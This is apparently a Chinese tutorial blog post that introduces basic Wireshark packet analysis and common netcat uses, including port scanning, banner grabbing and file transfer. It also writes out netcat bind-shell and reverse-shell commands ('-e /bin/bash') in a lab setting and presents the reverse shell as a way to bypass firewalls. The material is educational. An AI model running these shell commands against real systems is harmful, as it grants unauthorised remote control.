Wireshark、Netcat
Wireshark
Wireshark是一个网络数据包分析软件,功能是截取网络数据包,并尽可能显示出最为详细的网络数据包数据。为了安全考虑,wireshark只能查看封包,而不能修改封包的内容,或者发送封包。
界面

抓包获取
点击捕获->设置,设置混杂模式,选中需要监听的接口,点击“开始”,开始捕获数据:

过滤
- 捕捉过滤器是数据经过的第一层过滤器,它用于控制捕捉数据的数量,以避免产生过大的日志文件。捕捉过滤器必须在开始捕捉前设置完毕
- 显示过滤器是一种更为强大(复杂)的过滤器。可以在日志文件中迅速准确地找到所需要的记录,、但是不会把数据删除。如果想恢复原状,只要把过滤条件删除即可
二者语法异同点详见:wireshark的显示过滤器和捕捉过滤器
点击捕获->捕获过滤器,进行捕获设置(可以自己添加删除)。常用过滤包括IP过滤(如:ip.addr == x.x.x.x,ip.src == x.x.x.x,ip.dst == x.x.x.x)、协议过滤(如:HTTP、HTTPS、SMTP、ARP等)、端口过滤(如:tcp.port == 21、udp.port == 53)、组合过滤(如:ip.addr == x.x.x.x && tcp.port == 21、tcp.port== 21 or udp.port==53)。

显示过滤器在如下所示位置:

着色规则
在数据包列表区域会看到不同的颜色。wireshark可以让你指定条件,把符合条件的数据包按指定的颜色显示。
点击视图->着色规则,弹出设置颜色规则设置对话框:

封包详细信息

各行信息分别为
- Frame:物理层的数据帧概况
- Ethernet II:数据链路层以太网帧头部信息
- Internet Protocol Version 4:互联网层IP包头部信息
- Transmission Control Protocol:传输层T的数据段头部信息
- Hypertext Transfer Protocol:应用层的信息
ip统计
点击统计->对话,就可以统计出所在数据包中所有通信IP地址,包括IPV4和IPV6。

协议统计
点击统计->协议分级,就可以统计出所在数据包中所含的IP协议、应用层协议:

Follow TCP Stream
对于TCP协议,可提取一次会话的TCP流进行分析。点击某帧TCP数据,右键选择追踪流->TCP流:


可以看到这个窗口中的文字会有两种颜色。其中红色用于表示从源地址到目标地址的流量。最开始的红色部分是一个GET请求。蓝色部分是和红色部分相反的方向,也就是从目标地址到源地址的流量。蓝色部分的第一行是“HTTP/1.1 200 OK”,是来自服务器的一个http成功响应。
在这个窗口中除了能够看到这些原始数据,还可以在文本间进行搜索,将其保存成一个文件、打印,或者以ASCII码、EBCDIC、十六进制或者C数组的格式去查看。
HTTP头部分析
对于HTTP协议,WireShark可以提取其URL地址信息。
点击统计->HTTP->分组计数器,就可以统计出HTTP会话中请求、应答包数量:

点击统计->HTTP->请求,就可以统计出HTTP会话中Request的域名,包括子域名:

点击统计->HTTP->负载分配,就可以统计出HTTP会话的IP、域名分布情况,包括返回值:

这只是Wireshark最基础的功能,用WireShark分析攻击行为才是重中之重,后期将进行深入学习,详见WireShark教程 - 黑客发现之旅。
Netcat
netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。netcat所做的就是在两台电脑之间建立链接并返回两个数据流。
端口扫描
打印21到25所有开放的端口:

可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp.
-z: 告诉netcat使用0 IO,连接成功后立即关闭连接,不进行数据交换
-v: 详细输出
-n: 不使用DNS解析
小Tips:一般如果后面是跟ip的话,就带上-n参数;跟着是域名的话,就不带-n参数。
一旦发现开放的端口,可以使用netcat 连接服务抓取他们的banner:

banner是一个文本,banner是一个连接的服务发送回来的文本信息。当试图鉴别漏洞或者服务的类型和版本的时候,banner信息是非常有用的。但并不是所有的服务都会发送 banner。
聊天服务
服务器:
nc -l -p 20000
-l:指明netcat处于监听模式,
-p:指定源端口号
客户机:
nc -n 10.43.42.5 20000


netcat在服务器的20000端口启动了一个tcp服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。
文件传输
FTP,SCP,SMB都可以传输文件,但是只是需要临时或者一次传输文件,不值得安装配置一个软件到机器上。现有机器A 192.168.199.139,机器B 192.168.199.161,A向B传输文件:
服务器(A):
$nc -l -p 20000 < 1.txt
客户机(B):
$nc -n 192.168.199.139 > 1.txt


在A上创建了一个服务器并且重定向netcat的输入为文件1.txt,当任何成功连接到该端口,netcat会发送1.txt的文件内容。
同样也可以让A作为客户端,B作为服务器。
Server B:
nc -l -p 20000 > 1.txt
Client A:
nc -n 192.168.199.161 20000 < 1.txt
目录传输
如果想要发送多个文件或者整个目录,只需要使用压缩工具tar,压缩后发送压缩包。
服务器:
tar -cvf - ./test/ | nc -l -p 20000 创建一个tar归档包并且通过-在控制台重定向它
客户机:
nc -n 192.168.199.139 20000 | tar -xvf -


正向shell
现要在A机器上打开B机器的shell,应把A当成Client,把B当成Server,在B上监听输入的连接,等A连入后就可操作B的shell:
服务器:
nc -l -p 20000 -e /bin/bash 表示当连接成功时执行/bin/bash
客户机:
nc -n 192.168.199.161 20000


反向shell
使用正向shell时,如果防火墙屏蔽了输入,只允许输出,那么这时候就是反向shell发挥作用的时候了。
反向shell的做法是把A当成netcat的Server,把B当成netcat的Client,然后在A上用-l参数监听netcat的链接。
服务器:
nc -l -p 20000
客户机:
nc -n 192.168.199.139 20000 -e /bin/bash
然后在A上执行shell命令,就可以相当于B的远程shell了:


反向shell经常被用来绕过防火墙的限制,如阻止入站连接。例如有一个专用IP地址为192.168.199.139,使用代理服务器连接到外部网络。如果想从网络外部访问这台机器shell,那么就会用反向外壳用于这一目的。
更多详见:Linux Netcat 命令——网络工具中的瑞士军刀
Wireshark、Netcat的更多相关文章
- GNS3、Wireshark、SecureCRT 环境部署
本次GNS3环境部署教程基于官方推荐的稳定版1.5.4.初次接触此软件,详细的使用方法不是很清楚,所以以此作为学习记录,仅供参考,后期补充. 软件介绍 GNS3 GNS3是一款具有图形化界面可以运行在 ...
- flume将数据发送到kafka、hdfs、hive、http、netcat等模式的使用总结
1.source为http模式,sink为logger模式,将数据在控制台打印出来. conf配置文件如下: # Name the components on this agent a1.source ...
- Wireshark 、HTTPWatch、Fiddler的介绍
一.Wireshark <TCP/IP协议监听> Wireshark(前称Ethereal)是一个网络封包分析软件.网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包 ...
- wireshark、tcpdump使用笔记
最近使用wireshark抓包icmp协议,过滤的命令如下所示: ip.addr eq 192.168.20.54 and ip.addr eq 192.168.50.131 and (icmp) 如 ...
- Nginx服务测试时的一些配置:wireshark、常用搜索URL格式、关闭防火墙、siege
wrieshark sudo yum install wireshark-gnome sudo wireshar (以root启动,否则看不到网卡) 网站URL格式 以查询lumia为例 google ...
- 基础笔记(三):网络协议之Tcp、Http
目录 一.网络协议 二.TCP(Transmission Control Protocol,传输控制协议) TCP头格式 TCP协议中的三次握手和四次挥手 TCP报文抓取工具 三.HTTP(Hyper ...
- Wireshark入门与进阶系列(一)
摘自http://blog.csdn.net/howeverpf/article/details/40687049 Wireshark入门与进阶系列(一) “君子生非异也,善假于物也”---荀子 本文 ...
- Wireshark入门与进阶---数据包捕获与保存的最基本流程
Wireshark入门与进阶系列(一) "君子生非异也.善假于物也"---荀子 本文由CSDN-蚍蜉撼青松 [主页:http://blog.csdn.net/howeverpf]原 ...
- 具体说明 Flume介绍、安装和配置
社论: 本文总结"Hadoop生态系统"中的当中一员--Apache Flume 写在前面二: 所用软件说明: 一.什么是Apache Flume 官网:Flume is a di ...
随机推荐
- CentOS安装git及使用Gitolite来管理版本库
首先吐槽一下网上的各种教程,大部分都扯蛋,估计都是些所谓的"编辑"在网上瞎抄来的-- 以下内容都是基于CentOS的服务器端,Mac OS X的客户端. 如果是使用的Windows ...
- 收藏:Win32消息机制
Dos的过程驱动与Windows的事件驱动 在讲本程序的消息循环之前,我想先谈一下Dos与Windows驱动机制的区别: DOS程序主要使用顺序的,过程驱动的程序设计方法.顺序的,过程驱动的程序有一个 ...
- python之旅:网络编程
一 客户端/服务器架构 1.硬件C/S架构(打印机) 2.软件C/S架构 互联网中处处是C/S架构 如黄色网站是服务端,你的浏览器是客户端(B/S架构也是C/S架构的一种) 腾讯作为服务端为你提供视频 ...
- C# 编码规范、命名规则
1 规范目的 ……………………………………………………… 3 2 适用范围 ……………………………………………………… 3 3 代码注释 ……………………………………………………… 3 3.1 ...
- ASP.NET MVC学习(二)之控制器Controller
1.控制器 Controller接收用户请求,将Model和View匹配在一起,共同完成用户请求.它是一个分发器,通过选择不同的Model.View,可以决定完成不同的用户请求. 但Controlle ...
- Linux入侵问题排查
1.深入分析,查找入侵原因 1.1 检查隐藏账户及弱口令 1.1.1.检查服务器系统及应用账户是否存在弱口令 检查说明:检查管理员账户.数据库账户.MySQL账户.tomcat账户.网站后台管理员账户 ...
- linux根据端口查找进程【原创】
如转载请注明地址 1.利用lsof -i:端口号 lsof -i:端口号 [root@01 ~]# lsof -i:8097COMMAND PID USER FD TYPE DEVICE SIZE/O ...
- apiCloud app调用浏览器打开网页的方法
在APP调用浏览器有两种方法:1.使用openApp2.使用openWin 两种方法调用浏览器后的效果有一点不同:1.使用openApp调用浏览器后,如果手机内有多个浏览器,会首先弹出选择浏览器的框2 ...
- .net的锁
一.lock .Monitor 处理并行任务的时候,效率最高的就是多线程.当不同线程需要访问同一资源时候,就需要同步了.就像生活中很多人要一起赶飞机大家都要访问飞机这个资源每个人是一条线程那么就有门 ...
- tensorflow中的kernel/Adam 变量的来源
原因是使用Adam优化函数时,Adam函数会创建一个Adam变量,目的是保存你使用tensorflow创建的graph中的每个可训练参数的动量, words/_word_embeddings:0 bi ...